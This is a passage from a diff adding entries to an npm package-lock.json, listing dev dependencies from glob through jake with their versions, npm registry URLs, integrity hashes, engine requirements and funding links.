"https://registry.npmjs.org/glob/-/glob-7.1.7.tgz", + "integrity": "sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/globule/node_modules/minimatch": { + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.8.tgz", + "integrity": "sha512-6FsRAQsxQ61mw+qP1ZzbL9Bc78x2p5OqNgNpnoAFLTrX8n5Kxph0CsnhmKKNXTWjXqU5L0pGPR7hYk+XWZr60Q==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/gopd": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz", + "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.1.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/got": { + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/got/-/got-13.0.0.tgz", + "integrity": "sha512-XfBk1CxOOScDcMr9O1yKkNaQyy865NbYs+F7dr4H0LZMVgCj2Le59k6PqbNHoL5ToeaEQUYh6c6yMfVcc6SJxA==", + "dev": true, + "dependencies": { + "@sindresorhus/is": "^5.2.0", + "@szmarczak/http-timer": "^5.0.1", + "cacheable-lookup": "^7.0.0", + "cacheable-request": "^10.2.8", + "decompress-response": "^6.0.0", + "form-data-encoder": "^2.1.2", + "get-stream": "^6.0.1", + "http2-wrapper": "^2.1.10", + "lowercase-keys": "^3.0.0", + "p-cancelable": "^3.0.0", + "responselike": "^3.0.0" + }, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sindresorhus/got?sponsor=1" + } + }, + "node_modules/got/node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true + }, + "node_modules/grapheme-splitter": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz", + "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==", + "dev": true + }, + "node_modules/has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/has-ansi": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", + "integrity": "sha512-C8vBJ8DwUCx19vhm7urhTuUsr4/IyP6l4VzNQDv+ryHQObW3TTTp9yB68WpYgRe2bbaGuZ/se74IqFeVnMnLZg==", + "dev": true, + "dependencies": { + "ansi-regex": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-ansi/node_modules/ansi-regex": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", + "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz", + "integrity": "sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.1.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", + "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz", + "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "bin": { + "he": "bin/he" + } + }, + "node_modules/hosted-git-info": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-7.0.0.tgz", + "integrity": "sha512-ICclEpTLhHj+zCuSb2/usoNXSVkxUSIopre+b1w8NDY9Dntp9LO4vLdHYI336TH8sAqwrRgnSfdkBG2/YpisHA==", + "dev": true, + "dependencies": { + "lru-cache": "^10.0.1" + }, + "engines": { + "node": "^16.14.0 || >=18.0.0" + } + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true + }, + "node_modules/http-cache-semantics": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz", + "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==", + "dev": true + }, + "node_modules/http-proxy-agent": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.0.tgz", + "integrity": "sha512-+ZT+iBxVUQ1asugqnD6oWoRiS25AkjNfG085dKJGtGxkdwLQrMKU5wJr2bOOFAXzKcTuqq+7fZlTMgG3SRfIYQ==", + "dev": true, + "dependencies": { + "agent-base": "^7.1.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/http2-wrapper": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-2.2.0.tgz", + "integrity": "sha512-kZB0wxMo0sh1PehyjJUWRFEd99KC5TLjZ2cULC4f9iqJBAmKQQXEICjxl5iPJRwP40dpeHFqqhm7tYCvODpqpQ==", + "dev": true, + "dependencies": { + "quick-lru": "^5.1.1", + "resolve-alpn": "^1.2.0" + }, + "engines": { + "node": ">=10.19.0" + } + }, + "node_modules/https-proxy-agent": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.2.tgz", + "integrity": "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA==", + "dev": true, + "dependencies": { + "agent-base": "^7.0.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/human-signals": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-5.0.0.tgz", + "integrity": "sha512-AXcZb6vzzrFAUE61HnN4mpLqd/cSIwNQjtNWR0euPm6y0iqx3G4gOXaIDdtdDwZmhwe82LA6+zinmW4UBWVePQ==", + "dev": true, + "engines": { + "node": ">=16.17.0" + } + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dev": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/import-meta-resolve": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/import-meta-resolve/-/import-meta-resolve-3.0.0.tgz", + "integrity": "sha512-4IwhLhNNA8yy445rPjD/lWh++7hMDOml2eHtd58eG7h+qK3EryMuuRbsHGPikCoAgIkkDnckKfWSk2iDla/ejg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/indent-string": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-3.2.0.tgz", + "integrity": "sha512-BYqTHXTGUIvg7t1r4sJNKcbDZkL92nkXA8YtRpbjFHRHGDL/NtUeiBJMeE60kIFN/Mg8ESaWQvftaYMGJzQZCQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "node_modules/inquirer": { + "version": "9.2.10", + "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-9.2.10.tgz", + "integrity": "sha512-tVVNFIXU8qNHoULiazz612GFl+yqNfjMTbLuViNJE/d860Qxrd3NMrse8dm40VUQLOQeULvaQF8lpAhvysjeyA==", + "dev": true, + "dependencies": { + "@ljharb/through": "^2.3.9", + "ansi-escapes": "^4.3.2", + "chalk": "^5.3.0", + "cli-cursor": "^3.1.0", + "cli-width": "^4.1.0", + "external-editor": "^3.1.0", + "figures": "^5.0.0", + "lodash": "^4.17.21", + "mute-stream": "1.0.0", + "ora": "^5.4.1", + "run-async": "^3.0.0", + "rxjs": "^7.8.1", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^6.2.0" + }, + "engines": { + "node": ">=14.18.0" + } + }, + "node_modules/inquirer/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/inquirer/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ip": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.8.tgz", + "integrity": "sha512-PuExPYUiu6qMBQb4l06ecm6T6ujzhmh+MeJcW9wa89PoAz5pvd4zPgN5WJV104mb6S2T1AwNIAaB70JNrLQWhg==", + "dev": true + }, + "node_modules/is-arguments": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz", + "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "dev": true + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-core-module": { + "version": "2.13.0", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.0.tgz", + "integrity": "sha512-Z7dk6Qo8pOCp3l4tsX2C5ZVas4V+UxwQodwZhLopL91TX8UyyHEXafPcyoeeWuLrwzHcr3igO78wNLwHJHsMCQ==", + "dev": true, + "dependencies": { + "has": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-generator-function": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.0.10.tgz", + "integrity": "sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-interactive": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz", + "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-nan": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/is-nan/-/is-nan-1.3.2.tgz", + "integrity": "sha512-E+zBKpQ2t6MEo1VsonYmluk9NxGrbzpeeLC2xIViuO2EjU2xsXsBPwTr3Ykv9l08UYEVEdWeRZNouaZqF6RN0w==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-plain-obj": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", + "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-3.0.0.tgz", + "integrity": "sha512-LnQR4bZ9IADDRSkvpqMGvt/tEJWclzklNgSw48V5EAaAeDd6qGvN8ei6k5p0tvxSR171VmGyHuTiAOfxAbr8kA==", + "dev": true, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-typed-array": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.12.tgz", + "integrity": "sha512-Z14TF2JNG8Lss5/HMqt0//T9JeHXttXy5pH/DBU4vi98ozO2btxzq9MwYDZYnKwU8nRsz/+GVFVRDq3DkVuSPg==", + "dev": true, + "dependencies": { + "which-typed-array": "^1.1.11" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-unicode-supported": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-1.3.0.tgz", + "integrity": "sha512-43r2mRvz+8JRIKnWJ+3j8JtjRKZ6GmjzfaE/qiBJnikNnYv/6bagRJ1kUhNk8R5EX/GkobD+r+sfxCPJsiKBLQ==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-utf8": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz", + "integrity": "sha512-rMYPYvCzsXywIsldgLaSoPlw5PfoB/ssr7hY4pLfcodrA5M/eArza1a9VmTiNIBNMjOGr1Ow9mTyU2o69U6U9Q==", + "dev": true + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "dev": true + }, + "node_modules/isexe": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-3.1.1.tgz", + "integrity": "sha512-LpB/54B+/2J5hqQ7imZHfdU31OlgQqx7ZicVlkm9kzg9/w8GKLEcFfJl/t7DCEDueOyBAD6zCCwTO6Fzs0NoEQ==", + "dev": true, + "engines": { + "node": ">=16" + } + }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz", + "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-instrument": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz", + "integrity": "sha512-pzqtp31nLv/XFOzXGuvhCb8qhjmTVo5vjVk19XE4CRlSWz0KoeJ3bw9XsA7nOp9YBf4qHjwBxkDzKcME/J29Yg==", + "dev": true, + "dependencies": { + "@babel/core": "^7.12.3", + "@babel/parser": "^7.14.7", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-coverage": "^3.2.0", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-instrument/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/istanbul-lib-report": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", + "dev": true, + "dependencies": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^4.0.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-report/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-source-maps": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", + "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==", + "dev": true, + "dependencies": { + "debug": "^4.1.1", + "istanbul-lib-coverage": "^3.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-reports": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.6.tgz", + "integrity": "sha512-TLgnMkKg3iTDsQ9PbPTdpfAK2DzjF9mqUG7RMgcQl8oFjad8ob4laGxv5XV5U9MAfx8D6tSJiUyuAwzLicaxlg==", + "dev": true, + "dependencies": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jackspeak": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-2.3.3.tgz", + "integrity": "sha512-R2bUw+kVZFS/h1AZqBKrSgDmdmjApzgY0AlCPumopFiAlbUxE2gf+SCuBzQ0cP5hHmUmFYF5yw55T97Th5Kstg==", + "dev": true, + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, + "node_modules/jake": { + "version": "10.8.7", + "resolved": "https://registry.npmjs.org/jake/-/jake-10.8.7.tgz", + "integrity": "sha512-ZDi3aP+fG/LchyBzUM804VjddnwfSfsdeYkwt8NcbKRvo4rFkjhs456iLFn3k2ZUWvNe4i48WACDbza8fhq2+w==", + "dev": true, + "dependencies": { + "async": "^3.2.3", + "chalk": "^4.0.2", + "filelist": "^1.0.4", + "minimatch": "^3.1.2" + }, + "bin": { + "jake": "bin/cli.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jake/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jake/node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/jake/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jake/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": 